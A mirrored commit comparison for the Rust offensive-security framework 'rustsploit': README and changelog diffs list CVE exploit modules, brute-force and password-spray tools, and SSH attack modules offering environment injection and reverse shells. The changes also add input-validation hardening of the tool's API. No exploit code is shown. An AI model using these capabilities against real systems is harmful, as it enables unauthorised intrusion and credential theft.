mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
13 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 9de9f0a8c9 | |||
| 66964ba639 | |||
| cb3ad7c22d | |||
| 423b0e0838 | |||
| cb053d5be3 | |||
| 39c8d8ccc8 | |||
| b2c85875fa | |||
| ee6d4e399e | |||
| 8af6d45e32 | |||
| a0c8c723dc | |||
| 97c366a846 | |||
| 7fc4148202 | |||
| ab8256fc19 |
+1
-1
@@ -87,7 +87,7 @@ chrono = { version = "0.4", features = ["serde"] }
|
||||
# API Server (Axum)
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
|
||||
# DNS
|
||||
|
||||
@@ -34,12 +34,13 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
|
||||
- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
|
||||
- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root)
|
||||
- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- ✅ **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- ✅ **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
|
||||
|
||||
---
|
||||
|
||||
@@ -49,11 +50,11 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
|
||||
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, SSH user enumeration (timing attack), SSH password spray, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute, SNMP community string brute force, L2TP/IPsec brute force, Fortinet SSL VPN brute force |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support) |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists and helper files |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
@@ -322,12 +323,20 @@ Authorization: ApiKey your-api-key-here
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Input Validation & Security
|
||||
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
|
||||
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
|
||||
- **Target Validation:** All targets are validated for length, control characters, and path traversal
|
||||
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
|
||||
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
- Automatic cleanup of expired blocks and entries older than 1 hour
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
@@ -335,6 +344,7 @@ When `--harden` is enabled:
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
- Automatic pruning when tracker exceeds 100,000 entries
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
@@ -347,6 +357,7 @@ Log entries include:
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
|
||||
+675
@@ -2405,3 +2405,678 @@ Removed unused rdp dependency — eliminates atomic-polyfill and atty warnings
|
||||
Updated suppaftp to version 6.3 — may help with async-std if a newer version addresses it
|
||||
Added comments explaining the remaining async-std warning
|
||||
The remaining async-std warning is from suppaftp's transitive dependencies and is a maintenance warning, not a security vulnerability. It should be addressed upstream by the suppaftp maintainers.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### arc 2 nimla patching
|
||||
|
||||
|
||||
|
||||
Analyze and fix ABUS variant1 module - add colored output, standardize features
|
||||
Analyze and fix ABUS variant2 module - add colored output, standardize features
|
||||
Review and standardize other exploit modules for consistency
|
||||
Verify all modules compile and logic is correct
|
||||
Based on my analysis, here are the key features that should be standardized across exploit modules where compatible:
|
||||
Colored output using the colored crate for better UX
|
||||
Timeout configuration for HTTP clients
|
||||
IPv6 normalization
|
||||
SSL certificate skip for testing targets with self-signed certs
|
||||
Informative banners/output with status indicators
|
||||
Let me update the ABUS variant1 module to have these standardized features:
|
||||
|
||||
|
||||
ABUS Security Camera CVE-2023-26609 Modules
|
||||
Variant 1 (abussecurity_camera_cve202326609variant1.rs)
|
||||
|
||||
Features added:
|
||||
|
||||
Colored output using the colored crate for better UX
|
||||
Display banner with module information
|
||||
Timeout configuration (10 second default)
|
||||
Improved prompts with colored formatting
|
||||
Stage indicators (Stage 1/2/3) for the SSH persistence flow
|
||||
Better error messages with red coloring for failures
|
||||
Status-based output - green for success, red for failure
|
||||
Variant 2 (abussecurity_camera_cve202326609variant2.rs)
|
||||
|
||||
Features added:
|
||||
|
||||
Colored output using the colored crate
|
||||
Display banner with module information
|
||||
Timeout configuration (10 second default)
|
||||
Input validation - checks for empty username/password
|
||||
Stage indicators for the SSH persistence flow
|
||||
Improved user feedback with colored status messages
|
||||
Other Modules Updated
|
||||
I also standardized these modules with colored output, banners, timeouts, and improved UX:
|
||||
ACTi ACM-5611 RCE - Added banner, colored output, port prompts, vulnerability check feedback
|
||||
AVTech Camera CVE-2024-7029 - Added banner, colored output, improved shell interface
|
||||
TP-Link WR740N DoS - Added banner, colored output, improved prompts
|
||||
Zabbix SQL Injection - Added banner, colored output, timing-based detection improvement
|
||||
Uniview NVR Password Disclosure - Added banner, colored output, improved feedback
|
||||
Sample Exploit - Added banner, colored output for demonstration
|
||||
Standardized Features Across All Modules
|
||||
|
||||
The following features are now consistently available where compatible:
|
||||
|
||||
Feature Description
|
||||
Colored Output Using colored crate for cyan info, yellow warnings, green success, red errors
|
||||
Display Banners ASCII art banners showing module name, CVE, and description
|
||||
Timeout Configuration Configurable HTTP timeouts (default 10 seconds)
|
||||
SSL Certificate Skip danger_accept_invalid_certs(true) for testing self-signed certs
|
||||
IPv6 Normalization Proper handling of IPv6 addresses with bracket normalization
|
||||
Input Validation Checking for empty required fields
|
||||
Stage Indicators Yellow stage markers for multi-step exploits
|
||||
All modules compile successfully with no warnings from cargo clippy. The code logic remains intact and all original functionality is preserved.
|
||||
|
||||
|
||||
Credential Modules Standardized
|
||||
Camera Modules
|
||||
acti_camera_default.rs - Added colored output, display banner, timeout constant, and colored status messages for FTP/SSH/Telnet/HTTP checks
|
||||
Generic Modules
|
||||
Module Changes
|
||||
ftp_anonymous.rs Added display_banner(), colored output, timeout constant
|
||||
ftp_bruteforce.rs Added display_banner(), updated header styling
|
||||
sample_cred_check.rs Added display_banner(), colored output, timeout with danger_accept_invalid_certs
|
||||
ssh_bruteforce.rs Already had banner and statistics - unchanged
|
||||
telnet_bruteforce.rs Already had comprehensive banner and statistics - unchanged
|
||||
rdp_bruteforce.rs Added display_banner(), updated header styling
|
||||
smtp_bruteforce.rs Added display_banner(), improved colored output for success/failure
|
||||
pop3_bruteforce.rs Already had banner and statistics - unchanged
|
||||
snmp_bruteforce.rs Added display_banner(), updated header styling
|
||||
rtsp_bruteforce_advanced.rs Added display_banner(), updated header styling
|
||||
l2tp_bruteforce.rs Added display_banner(), updated header styling
|
||||
fortinet_bruteforce.rs Added display_banner(), updated header styling
|
||||
enablebruteforce.rs Added display_banner(), full colored output
|
||||
Standard Features Added
|
||||
|
||||
All modules now have:
|
||||
|
||||
✅ Cyan-bordered ASCII banner with module title
|
||||
✅ Colored target information ([*] in cyan)
|
||||
✅ Green success messages ([+])
|
||||
✅ Yellow warning/failure messages ([-])
|
||||
✅ Red error messages ([!])
|
||||
✅ Consistent use of colored crate
|
||||
✅ IPv6 address handling where applicable
|
||||
✅ Timeout constants where applicable
|
||||
The project compiles cleanly with cargo build and passes cargo clippy with no warnings.
|
||||
|
||||
Critical Issues Found:
|
||||
SSH Bruteforce - Semaphore acquired BEFORE spawning task (blocks task creation)
|
||||
FTP/RDP/SNMP Bruteforce - Missing progress statistics
|
||||
Several modules - Missing retry logic and connection rate limit handling
|
||||
Let me fix these:
|
||||
|
||||
|
||||
Critical Fixes:
|
||||
|
||||
1. SSH Bruteforce - Fixed concurrency bug
|
||||
|
||||
The semaphore was being acquired BEFORE spawning the task, which serialized task creation. Now acquires permit INSIDE the spawned task for true concurrent execution.
|
||||
|
||||
2. Enable Bruteforce (ulimit) - Fixed non-functional code
|
||||
|
||||
Running ulimit -n 65535 in a subprocess does NOT affect the parent process. Rewrote to use setrlimit() syscall directly, which actually raises the file descriptor limit in the current process.
|
||||
Standardized Features Added
|
||||
|
||||
Added Statistics tracking and real-time progress reporting to:
|
||||
Module Concurrency Model Progress Reporting Added
|
||||
FTP Bruteforce tokio async + Semaphore ✅
|
||||
RDP Bruteforce tokio async + Semaphore ✅
|
||||
SNMP Bruteforce tokio async + spawn_blocking ✅
|
||||
RTSP Bruteforce tokio async + Semaphore ✅
|
||||
L2TP Bruteforce tokio async + Semaphore ✅
|
||||
Fortinet Bruteforce tokio async + Semaphore ✅
|
||||
SMTP Bruteforce ThreadPool + crossbeam ✅
|
||||
Already Correctly Implemented
|
||||
|
||||
Module Notes:
|
||||
|
||||
Telnet Bruteforce Uses tokio async TcpStream (correctly async), already has statistics
|
||||
POP3 Bruteforce Uses ThreadPool + crossbeam (correct for blocking I/O), already has statistics
|
||||
Concurrency Models Verified
|
||||
Async modules (FTP, RDP, SSH, RTSP, L2TP, Fortinet, Telnet): Use tokio::net::TcpStream or spawn_blocking for blocking libraries -
|
||||
|
||||
this is correct
|
||||
|
||||
Blocking modules (POP3, SMTP): Use ThreadPool with crossbeam_channel - this is correct for blocking socket I/O
|
||||
|
||||
All modules now have consistent:
|
||||
|
||||
Real-time progress reporting (attempts/s rate)
|
||||
Statistics summary at completion
|
||||
Colored output for success/failure/errors
|
||||
|
||||
|
||||
|
||||
All fixed. The warnings are resolved:
|
||||
|
||||
enablebruteforce.rs - Removed unused std::process::Command import (no longer needed since we now use the libc syscalls directly)
|
||||
ftp_bruteforce.rs - Removed unused log function (replaced with inline colored output)
|
||||
fortinet_bruteforce.rs - Removed unused log function (replaced with inline colored output)
|
||||
|
||||
|
||||
Standardized Features Added:
|
||||
|
||||
Scanner Banner Colored Output Statistics Progress Save Results
|
||||
sample_scanner.rs ✅ Added ✅ Added ✅ Added ✅ ✅ Added
|
||||
http_title_scanner.rs ✅ Enhanced ✅ Enhanced ✅ Added ✅ Added ✅ Already had
|
||||
http_method_scanner.rs ✅ Enhanced ✅ Enhanced ✅ Added N/A ✅ Already had
|
||||
dns_recursion.rs ✅ Added ✅ Enhanced ✅ Added N/A N/A (targets output)
|
||||
ssdp_msearch.rs ✅ Added ✅ Already had ✅ Added N/A ✅ Added
|
||||
port_scanner.rs ✅ Already had ✅ Already had ✅ Already had ✅ Already had ✅ Already had
|
||||
ping_sweep.rs ✅ Already had ✅ Already had ✅ Already had ✅ Already had ✅ Already had
|
||||
|
||||
Key Improvements:
|
||||
|
||||
Consistent Banners - All scanners now display a cyan-colored ASCII banner with module description
|
||||
Colored Output - Success (green), warnings (yellow), errors (red), info (cyan)
|
||||
Statistics - All scanners report:
|
||||
Total items scanned
|
||||
Successful/Failed counts
|
||||
Duration
|
||||
Rate (where applicable)
|
||||
Save Results - Option to save scan results to file
|
||||
Progress Reporting - Real-time progress for longer scans
|
||||
All modules compile cleanly with no warnings.
|
||||
|
||||
|
||||
Security Enhancements Summary
|
||||
|
||||
main.rs
|
||||
|
||||
Added validate_bind_address() - validates bind address format using SocketAddr::parse(), checks length limits, control characters
|
||||
Added validate_api_key() - validates API key length (max 256 chars), ensures only printable ASCII
|
||||
Added validate_ip_limit() - validates IP limit range (1-10,000)
|
||||
All CLI inputs are now validated before use
|
||||
|
||||
shell.rs
|
||||
|
||||
Added new constants: MAX_URL_LENGTH, MAX_PATH_LENGTH, MAX_PROMPT_INPUT_LENGTH
|
||||
|
||||
Enhanced prompt_for_path():
|
||||
|
||||
Length validation
|
||||
Control character rejection
|
||||
Path traversal prevention (.. blocked)
|
||||
|
||||
Enhanced prompt_string_default():
|
||||
|
||||
Length validation
|
||||
Control character rejection
|
||||
URL format validation (if input looks like URL)
|
||||
|
||||
Enhanced prompt_yes_no():
|
||||
|
||||
Max attempt limiting (10 attempts)
|
||||
Length validation
|
||||
Enhanced prompt_u64() and prompt_usize():
|
||||
Max attempt limiting
|
||||
Length validation
|
||||
Strict digit-only validation
|
||||
Overflow protection with saturating_add()
|
||||
|
||||
config.rs
|
||||
|
||||
Added MAX_TARGET_LENGTH and MAX_HOSTNAME_LENGTH constants
|
||||
|
||||
Enhanced set_target():
|
||||
|
||||
Length validation
|
||||
Control character rejection
|
||||
Path traversal prevention
|
||||
|
||||
Added validate_hostname_or_ip():
|
||||
|
||||
Hostname length validation (DNS max 253)
|
||||
Valid character regex check
|
||||
Format validation (no leading/trailing special chars)
|
||||
Consecutive dot detection
|
||||
|
||||
api.rs
|
||||
|
||||
Added RequestBodyLimitLayer (1MB max) to prevent DoS via large payloads
|
||||
Added MAX_TRACKED_IPS (100,000) and MAX_AUTH_FAILURE_ENTRIES (100,000) limits
|
||||
|
||||
Enhanced track_ip():
|
||||
|
||||
IP string length validation
|
||||
Automatic cleanup when tracker exceeds limits
|
||||
saturating_add() for overflow protection
|
||||
|
||||
Enhanced record_auth_failure():
|
||||
|
||||
IP string length validation
|
||||
Automatic cleanup of expired/old entries
|
||||
saturating_add() for overflow protection
|
||||
utils.rs (already well-secured)
|
||||
Already had comprehensive validation:
|
||||
MAX_TARGET_LENGTH, MAX_MODULE_PATH_LENGTH, MAX_FILE_SIZE
|
||||
Path traversal checks
|
||||
File size limits
|
||||
Proxy URL validation
|
||||
|
||||
|
||||
---
|
||||
|
||||
## v0.4.0 - Comprehensive Security Hardening (November 2025)
|
||||
|
||||
### Input Validation & Security (All Core Files)
|
||||
|
||||
#### main.rs
|
||||
|
||||
- **NEW:** `validate_bind_address()` - Validates bind address format using `SocketAddr::parse()`:
|
||||
- Length limits (max 128 characters)
|
||||
- Control character rejection
|
||||
- Socket address format validation
|
||||
- **NEW:** `validate_api_key()` - Validates API key:
|
||||
- Length limits (max 256 characters)
|
||||
- Only printable ASCII characters allowed
|
||||
- Empty/whitespace rejection
|
||||
- **NEW:** `validate_ip_limit()` - Validates hardening IP limit:
|
||||
- Range validation (1-10,000)
|
||||
- Prevents resource exhaustion
|
||||
|
||||
#### shell.rs
|
||||
|
||||
- **NEW Constants:**
|
||||
- `MAX_URL_LENGTH` (2048) - URL input length limit
|
||||
- `MAX_PATH_LENGTH` (4096) - File path length limit
|
||||
- `MAX_PROMPT_INPUT_LENGTH` (1024) - General prompt input limit
|
||||
|
||||
- **Enhanced `prompt_for_path()`:**
|
||||
- Length validation
|
||||
- Control character rejection
|
||||
- Path traversal prevention (`..` blocked)
|
||||
|
||||
- **Enhanced `prompt_string_default()`:**
|
||||
- Length validation
|
||||
- Control character rejection
|
||||
- Automatic URL format validation when input looks like URL
|
||||
|
||||
- **Enhanced `prompt_yes_no()`:**
|
||||
- Max attempt limiting (10 attempts before default)
|
||||
- Length validation (max 10 chars)
|
||||
- Prevents infinite loops on bad input
|
||||
|
||||
- **Enhanced `prompt_u64()` and `prompt_usize()`:**
|
||||
- Max attempt limiting (10 attempts)
|
||||
- Length validation (max 20 chars)
|
||||
- Strict digit-only validation
|
||||
- Overflow protection
|
||||
- Better error messages
|
||||
|
||||
#### config.rs
|
||||
|
||||
- **NEW Constants:**
|
||||
- `MAX_TARGET_LENGTH` (2048) - Target string limit
|
||||
- `MAX_HOSTNAME_LENGTH` (253) - DNS hostname limit
|
||||
|
||||
- **Enhanced `set_target()`:**
|
||||
- Length validation
|
||||
- Control character rejection
|
||||
- Path traversal prevention (`..`, `//` blocked)
|
||||
- Hostname/IP format validation
|
||||
|
||||
- **NEW:** `validate_hostname_or_ip()` - Validates hostname/IP:
|
||||
- Hostname length validation (DNS max 253)
|
||||
- Valid character regex check (`[a-zA-Z0-9.\-_:\[\]]+`)
|
||||
- Format validation (no leading/trailing special chars)
|
||||
- Consecutive dot detection
|
||||
|
||||
#### api.rs
|
||||
|
||||
- **NEW:** `RequestBodyLimitLayer` (1MB max) - Prevents DoS via large request bodies
|
||||
- **NEW Constants:**
|
||||
- `MAX_REQUEST_BODY_SIZE` (1MB)
|
||||
- `MAX_TRACKED_IPS` (100,000)
|
||||
- `MAX_AUTH_FAILURE_ENTRIES` (100,000)
|
||||
|
||||
- **Enhanced `track_ip()`:**
|
||||
- IP string length validation (max 128 chars)
|
||||
- Automatic cleanup when tracker exceeds limits
|
||||
- Prunes oldest entries, keeps most recent half
|
||||
- `saturating_add()` for overflow protection
|
||||
|
||||
- **Enhanced `record_auth_failure()`:**
|
||||
- IP string length validation (max 128 chars)
|
||||
- Automatic cleanup of expired blocks and old entries (>1 hour)
|
||||
- `saturating_add()` for overflow protection
|
||||
- Memory-efficient housekeeping
|
||||
|
||||
#### Cargo.toml
|
||||
|
||||
- Added `limit` feature to `tower-http` for request body limiting
|
||||
|
||||
### Summary
|
||||
|
||||
All user-facing input paths now have:
|
||||
|
||||
- ✅ Length limits to prevent memory exhaustion
|
||||
- ✅ Control character rejection
|
||||
- ✅ Path traversal prevention
|
||||
- ✅ Format validation where applicable
|
||||
- ✅ Overflow protection
|
||||
- ✅ Maximum attempt limits on prompts
|
||||
- ✅ Automatic resource cleanup in API
|
||||
|
||||
|
||||
Documentation Updates Summary
|
||||
|
||||
|
||||
README.md (Main README)
|
||||
|
||||
|
||||
Highlights Section: Added security hardening to feature list, expanded credential modules to include SNMP, L2TP, Fortinet
|
||||
Module Catalog: Updated with all new modules (Flowise RCE, HTTP/2 Rapid Reset, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed) and expanded scanner capabilities (SYN/ACK scans)
|
||||
Security Features Section: Added new "Input Validation & Security" subsection documenting:
|
||||
Request body limiting (1MB)
|
||||
API key validation
|
||||
Target validation
|
||||
Module path sanitization
|
||||
Resource limits with automatic cleanup
|
||||
Enhanced rate limiting with auto-cleanup
|
||||
Enhanced hardening mode with auto-pruning
|
||||
docs/readme.md (Developer Guide)
|
||||
Table of Contents: Added new "Security & Input Validation" section
|
||||
Code Layout: Updated to include api.rs, config.rs, and telnet-default/ directory
|
||||
NEW Section - Security & Input Validation: Comprehensive developer guide including:
|
||||
Input validation constants table (all limits across files)
|
||||
|
||||
Security patterns with code examples:
|
||||
|
||||
Input length validation
|
||||
Control character rejection
|
||||
Path traversal prevention
|
||||
Hostname/target validation
|
||||
Overflow protection
|
||||
Prompt attempt limiting
|
||||
API security implementation details
|
||||
File operations security guidelines
|
||||
lists/readme.md (Data Files Catalog)
|
||||
Available Files: Added telnet-default/ directory with its files (usernames.txt, passwords.txt, empty.txt)
|
||||
Ideas Section: Added suggestions for SNMP, Fortinet, and SSH default credential lists
|
||||
NEW Section - Security Notes: Guidelines for contributing wordlists:
|
||||
No malicious payloads
|
||||
File size limits
|
||||
UTF-8 encoding requirements
|
||||
Line format standards
|
||||
|
||||
changelog.md
|
||||
|
||||
NEW Section - v0.4.0: Complete documentation of all security enhancements:
|
||||
main.rs validation functions
|
||||
shell.rs prompt hardening
|
||||
config.rs target validation
|
||||
api.rs resource limits and cleanup
|
||||
Cargo.toml changes
|
||||
|
||||
---
|
||||
|
||||
## v0.4.1 - SSHPWN Integration (November 2025)
|
||||
|
||||
### New SSH Attack Modules
|
||||
|
||||
Integrated comprehensive SSH attack framework based on OpenSSH 10.0p1 vulnerability analysis.
|
||||
|
||||
#### SFTP Attack Module (`exploits/ssh/sshpwn_sftp_attacks`)
|
||||
|
||||
Based on sftp-server.c vulnerabilities:
|
||||
|
||||
- **Symlink Injection** (process_symlink) - Create symlinks to sensitive files, bypass chroot
|
||||
- **Setuid Bit Attack** (process_setstat 07777) - Set setuid/setgid bits on uploaded files
|
||||
- **Path Traversal** (process_open) - Escape chroot restrictions
|
||||
- **Partial Write Race** (process_write) - Exploit write atomicity issues
|
||||
|
||||
#### SCP Attack Module (`exploits/ssh/sshpwn_scp_attacks`)
|
||||
|
||||
Based on scp.c vulnerabilities:
|
||||
|
||||
- **Path Traversal** (sink function) - Write outside target directory
|
||||
- **Username Shell Injection** (okname) - Shell metacharacter injection
|
||||
- **Brace Expansion DoS** (brace_expand) - Client-side memory exhaustion
|
||||
- **Command Injection** (do_cmd) - Inject commands via arguments
|
||||
|
||||
#### Session Attack Module (`exploits/ssh/sshpwn_session`)
|
||||
|
||||
Based on session.c vulnerabilities:
|
||||
|
||||
- **Environment Variable Injection** (do_setup_env) - Inject LD_PRELOAD, PATH, etc.
|
||||
- **Command Execution** - Execute commands on authenticated targets
|
||||
- **Reverse Shell** - Multiple payload types (bash, python, nc, perl, php, ruby)
|
||||
- **File Upload/Download** - SFTP-based file transfer
|
||||
|
||||
### New SSH Scanner (`scanners/ssh_scanner`)
|
||||
|
||||
Network reconnaissance for SSH services:
|
||||
|
||||
- CIDR range support
|
||||
- IPv4/IPv6 support
|
||||
- Banner grabbing
|
||||
- Concurrent scanning (configurable threads)
|
||||
- Results export
|
||||
|
||||
### New SSH Credential Modules
|
||||
|
||||
#### SSH User Enumeration (`creds/generic/ssh_user_enum`)
|
||||
|
||||
Timing attack for user enumeration (CVE-2018-15473 style):
|
||||
|
||||
- Measures authentication response timing
|
||||
- Compares against baseline for invalid users
|
||||
- Configurable samples and threshold
|
||||
- Wordlist support
|
||||
|
||||
#### SSH Password Spray (`creds/generic/ssh_spray`)
|
||||
|
||||
Spray single password across multiple targets:
|
||||
|
||||
- Avoids account lockouts
|
||||
- CIDR range support
|
||||
- Concurrent spraying
|
||||
- Results export
|
||||
|
||||
### Module Summary
|
||||
|
||||
| Module | Path | Type |
|
||||
|--------|------|------|
|
||||
| SFTP Attacks | `exploits/ssh/sshpwn_sftp_attacks` | Exploit |
|
||||
| SCP Attacks | `exploits/ssh/sshpwn_scp_attacks` | Exploit |
|
||||
| Session Attacks | `exploits/ssh/sshpwn_session` | Exploit |
|
||||
| SSH Scanner | `scanners/ssh_scanner` | Scanner |
|
||||
| SSH User Enum | `creds/generic/ssh_user_enum` | Credential |
|
||||
| SSH Spray | `creds/generic/ssh_spray` | Credential |
|
||||
|
||||
All modules feature:
|
||||
s
|
||||
- ✅ Colored output with status indicators
|
||||
- ✅ Interactive configuration prompts
|
||||
- ✅ Input validation
|
||||
- ✅ IPv4/IPv6 support
|
||||
- ✅ Results export capability
|
||||
|
||||
|
||||
|
||||
SSHPWN Integration Summary
|
||||
|
||||
New SSH Exploit Modules (src/modules/exploits/ssh/)
|
||||
|
||||
1. sshpwn_sftp_attacks.rs - SFTP Attacks
|
||||
|
||||
Based on sftp-server.c vulnerabilities:
|
||||
|
||||
Symlink Injection - Create symlinks to read sensitive files like /etc/passwd, /etc/shadow
|
||||
Setuid Bit Attack - Set setuid/setgid bits on uploaded files (07777 mask vulnerability)
|
||||
Path Traversal - Escape chroot restrictions via traversal paths
|
||||
Partial Write Race - Exploit write atomicity issues
|
||||
|
||||
2. sshpwn_scp_attacks.rs - SCP Attacks
|
||||
|
||||
Based on scp.c vulnerabilities:
|
||||
|
||||
Path Traversal - Protocol injection, null byte injection, newline injection
|
||||
Username Shell Injection - Exploit incomplete okname() filtering ($(), backticks, pipes)
|
||||
Brace Expansion DoS - Client-side memory exhaustion via {a,b}^n patterns
|
||||
Command Injection - ProxyCommand, rsync-path, ControlPath injection
|
||||
|
||||
3. sshpwn_session.rs - Session Attacks
|
||||
|
||||
Based on session.c vulnerabilities:
|
||||
|
||||
Environment Injection - LD_PRELOAD, LD_LIBRARY_PATH, PATH, BASH_ENV injection
|
||||
Command Execution - Execute arbitrary commands
|
||||
Reverse Shells - 8 payload types (bash, python, python3, nc, perl, php, ruby)
|
||||
File Upload/Download - SFTP-based transfer
|
||||
New SSH Scanner (src/modules/scanners/)
|
||||
|
||||
ssh_scanner.rs - SSH Service Scanner
|
||||
|
||||
CIDR range support (192.168.1.0/24)
|
||||
IP range support (192.168.1.1-254)
|
||||
IPv4/IPv6 support
|
||||
Banner grabbing
|
||||
Concurrent scanning with configurable threads
|
||||
Results export to file
|
||||
New SSH Credential Modules (src/modules/creds/generic/)
|
||||
|
||||
ssh_user_enum.rs - User Enumeration (Timing Attack)
|
||||
|
||||
CVE-2018-15473 style timing attack
|
||||
Measures authentication response times
|
||||
Compares against baseline timing
|
||||
Configurable samples and threshold
|
||||
Wordlist support
|
||||
|
||||
ssh_spray.rs - Password Spray
|
||||
|
||||
Spray single password across multiple targets/users
|
||||
Avoids account lockouts
|
||||
CIDR range support
|
||||
Concurrent spraying
|
||||
Results export
|
||||
Module Access Paths
|
||||
Module Full Path Short Name
|
||||
SFTP Attacks exploits/ssh/sshpwn_sftp_attacks sshpwn_sftp_attacks
|
||||
SCP Attacks exploits/ssh/sshpwn_scp_attacks sshpwn_scp_attacks
|
||||
Session Attacks exploits/ssh/sshpwn_session sshpwn_session
|
||||
SSH Scanner scanners/ssh_scanner ssh_scanner
|
||||
User Enumeration creds/generic/ssh_user_enum ssh_user_enum
|
||||
Password Spray creds/generic/ssh_spray ssh_spray
|
||||
All modules compile cleanly and follow the RustSploit patterns with colored output, interactive prompts, and input validation.
|
||||
|
||||
|
||||
Summary of fixes:
|
||||
|
||||
Fixed format string error in sshpwn_scp_attacks.rs:227:
|
||||
Rust doesn't support Python's {:,} format for thousands separators
|
||||
Added a format_number() helper function that formats numbers with comma separators
|
||||
Removed unused import in sshpwn_sftp_attacks.rs:15:
|
||||
Changed use ssh2::{Session, Sftp} → use ssh2::Session
|
||||
Fixed unused variable in sshpwn_scp_attacks.rs:176:
|
||||
Changed port: u16 → _port: u16
|
||||
Fixed unused variable in sshpwn_session.rs:94:
|
||||
Changed timeout: u64 → _timeout: u64
|
||||
Build result: Finished dev profile [unoptimized + debuginfo] target(s) in 24.64s with exit code 0 - no warnings or errors!
|
||||
|
||||
New sshpwn_auth_passwd.rs Features:
|
||||
|
||||
Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
|
||||
Password Change Information Leak - Documents server fingerprinting via password change responses
|
||||
Auth Timing Attack - User enumeration via mm_auth_password timing differences
|
||||
